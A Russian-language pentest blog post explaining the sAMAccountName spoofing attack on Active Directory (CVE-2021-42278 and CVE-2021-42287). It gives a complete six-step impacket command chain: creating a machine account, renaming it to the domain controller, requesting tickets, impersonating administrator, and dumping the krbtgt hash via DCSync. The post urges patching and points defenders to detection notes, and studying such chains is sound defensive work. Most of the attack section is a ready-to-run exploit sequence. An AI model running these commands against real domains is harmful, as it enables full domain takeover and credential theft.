Спуфинг sAMAccountName: от LowPriv до домен админа за шесть команд
Сап, Хобр!
Значится, сидим мы с коллегой (пливет, @Acrono!) на площадке у Заказчика, воткнутые в скоммутированные сетевые розетки, да пентестим свои внутряки. Повсюду эти ваши 802.1x, AppLocker-ы, PowerShell CLM-ы, LAPS-ы, аверы лютуют, блоча попытки получить заветный хендл к lsass.exe, вся инфра на 2019-х серваках, небо над головой цвета экрана телевизора, настроенного на мертвый канал. В общем, страшный сон (этичного) хакера. И продолжается все это уже третий день. Благо сегодня все будет по-другому, благо сегодня я прочитал про спуфинг sAMAccountName по дороге в офис...
Intro
На днях исследователь Чарли Кларк (@exploitph, известен своим форком PowerView) опубликовал свежий способ эскалации привилегий в домене Active Directory, основанный на эксплуатации уязвимостей CVE-2021-42287 и CVE-2021-42278. Пачка CVE, связанных с этими уязвимостями, крутится в твиттерах уже около месяца и была оперативно исправлена «мелкомягкими» в рамках ноябрьского Patch Tuesday. Но, как известно, кто не успел, тот опоздал, поэтому домен админа мы с Acrono все же получили. Далее расскажу (и покажу), как это делается, но для начала немного теории.
Предыстория
CVE-2021-42278
Как оказалось, механизмы Active Directory не проверяют наличие символа $
в конце имени компьютерного аккаунта, хотя все машинные имена оканчиваются именно им. Этот небольшой «не баг, а фича» приводит к вполне себе большим последствиям в связке с уязвимостью CVE-2021-42287.
CVE-2021-42287
Когда клиент запрашивает тикет TGS, контроллер сперва смотрит в предоставленный им (клиентом) TGT. В случае, если KDC не обнаруживает среди объектов домена объекта с именем, указанным в TGT, контроллер тупо добавляет символ $
к этому имени и шифрует отправляемый TGS с использованием ключа объекта «имя$».
И чо дальше?
А что если мы переименуем какой-нибудь компьютер в контроллер домена, запросим для него TGT, переименуем компьютер обратно (неважно, в какое имя) и с использованием этого TGT запросим TGS на какую-либо службу (например, LDAP) этого, ныне уже не существующего, компьютера? Неужели мы получим билет, подписанный контроллером домена, на самого себя? Да не, бред, быть такого не может... Ведь так?
Практика
Нет, не так. Все сработает точно, как мы предположили. Продемонстрируем это. Так как эксплуатация уязвимости с Windows-системы, используя Powermad, PowerView и Rubeus, уже подробно описана автором первоначального исследования, я сделаю это удаленно с Linux-машины. В этом нам поможет Python и могущественная библиотека impacket.
0. ms-DS-MachineAccountQuota
Первым делом нам нужно создать машинную учетку. Это может прокрутить любой доменный пользователь при условии, что значение свойства ms-DS-MachineAccountQuota в домене AD больше нуля. Проверяем это с помощью go-windapsearch:
Cmd
windapsearch --dc 172.22.0.2 -d tinycorp.net -u j.doe -p 'P@$$w0rd' -m custom --filter '(&(objectClass=domain)(distinguishedName=DC=tinycorp,DC=net))' --attrs ms-ds-machineAccountQuota
1. addcomputer.py
Далее добавим машинную УЗ с помощью addcomputer.py:
Cmd
addcomputer.py -computer-name FromRussiaWithLove -computer-pass 'Passw0rd!' -dc-ip 172.22.0.2 -dc-host DC01.tinycorp.net tinycorp.net/j.doe:'P@$$w0rd'
2. renameMachine.py (1)
Успешно. Следующие два шага – убить SPN-ы, чтобы не было конфликтов при переименовании машины, и, собственно, сам ренейм. Здесь придется немного замарать руки и скопипастить написать пару строк кода. К счастью, ldap3 позволяет легко изменять свойства объектов LDAP. В нашем случае это можно сделать в две строки:
ldap_session.modify(<MACHINE_DN_OBJ>, {'servicePrincipalName': [ldap3.MODIFY_REPLACE, []]})
ldap_session.modify(<MACHINE_DN_OBJ>, {'sAMAccountName': [ldap3.MODIFY_REPLACE, ['<NEW_NAME>']]})']])
Написанный на коленке скрипт можно подсмотреть туть.
Cmd
./renameMachine.py tinycorp.net/j.doe:'P@$$w0rd' -dc-ip 172.22.0.2 -current-name 'FromRussiaWithLove$' -new-name DC01
3. getTGT.py
Что у нас дальше по плану? Верно – получаем TGT с помощью getTGT.py:
Cmd
getTGT.py tinycorp.net/DC01:'Passw0rd!' -dc-ip 172.22.0.2
4. renameMachine.py (2)
Переменовываем машинную учетку обратно:
Cmd
./renameMachine.py tinycorp.net/j.doe:'P@$$w0rd' -dc-ip 172.22.0.2 -current-name DC01 -new-name 'FromRussiaWithLove$'
5. getST.py
Теперь самая интересная часть – получить тикет на службу нашего несуществующего компьютера, который магическим образом превратится в тикет на DC. Это можно сделать с помощью разновидности RBCD (англ. Resource-based Contrained Delegation) атаки. Активируя транзитное расширение S4U2self протокола Kerberos, мы можем заиметь такой TGS с помощью getST.py. До мастера impacket-а флаг -self
еще не добрался, однако он уже добавлен в этом PR (подробности атаки можно глянуть в другом посте от @exploitph):
Cmd
KRB5CCNAME=DC01.ccache python3 impacket/examples/getST.py -spn LDAP/DC01.tinycorp.net tinycorp.net/DC01 -k -no-pass -dc-ip 172.22.0.2 -impersonate administrator -self
6. secretsdump.py
Вот и все, теперь у нас есть нужный тикет для DCSync-а и мы можем скомпрометировать критически важные учетные записи домена, используя secretsdump.py!
Cmd
KRB5CCNAME=administrator.ccache secretsdump.py -k -no-pass DC01.tinycorp.net -dc-ip 172.22.0.2 -just-dc-user 'TINYCORP\krbtgt'
Outro
Хочется привлечь внимание общественности к этой цепочке атак и призвать всех неравнодушных админов к наискорейшим патчам своих систем (даже несмотря на то, что нам, как пентестерам, это только добавит работы).
Информацию для BlueTeam-еров касательно детекта вредоносной активности в рамках описанного кейса можно найти в конце оригинального ресерча.
Спасибо за внимание и Happy Hacking!